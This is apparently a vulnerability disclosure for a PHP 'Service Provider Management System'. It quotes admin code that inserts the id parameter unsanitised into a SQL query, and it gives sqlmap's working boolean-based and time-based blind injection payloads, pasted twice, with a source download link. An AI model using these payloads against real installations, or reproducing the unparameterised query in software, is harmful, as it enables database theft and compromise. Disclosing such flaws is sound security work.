SQL injection vulnerability exists in id parameter of /admin/inquiries/view_inquiry.php file of Service Provider Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'inquiries/view_inquiry',it will include /admin/inquiries/view_inquiry.php,and id parameter can do sql injection.

/admin/index.php

```php
if(!file_exists($page.".php") && !is_dir($page)){
    include '404.html';
}else{
  if(is_dir($page))
    include $page.'/index.php';
  else
    include $page.'.php';

}
```

/admin/inquiries/view_inquiry.php

```php
if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT * from `inquiry_list` where id = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        foreach($qry->fetch_assoc() as $k => $v){
            $$k=$v;
        }
        $conn->query("UPDATE `inquiry_list` set `status` = 1 where `id` = '{$id}'");
    }else{
        echo '<script>alert("inquiry ID is not valid."); location.replace("./?page=inquiries")</script>';
    }
}else{
    echo '<script>alert("inquiry ID is Required."); location.replace("./?page=inquiries")</script>';
}
?>
<div class="row mt-lg-n4 mt-md-n4 justify-content-center">
```

```
sqlmap identified the following injection point(s) with a total of 455 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=inquiries/view_inquiry&id=2' AND 2706=2706 AND 'OcGe'='OcGe

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=inquiries/view_inquiry&id=2' AND (SELECT 5751 FROM (SELECT(SLEEP(5)))TYtN)
AND 'RApb'='RApb
---
```

"

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=inquiries/view_inquiry&id=2' AND 2706=2706 AND 'OcGe'='OcGe

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=inquiries/view_inquiry&id=2' AND (SELECT 5751 FROM (SELECT(SLEEP(5)))TYtN) AND 'RApb'='RApb

---

“

Source Download：
https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html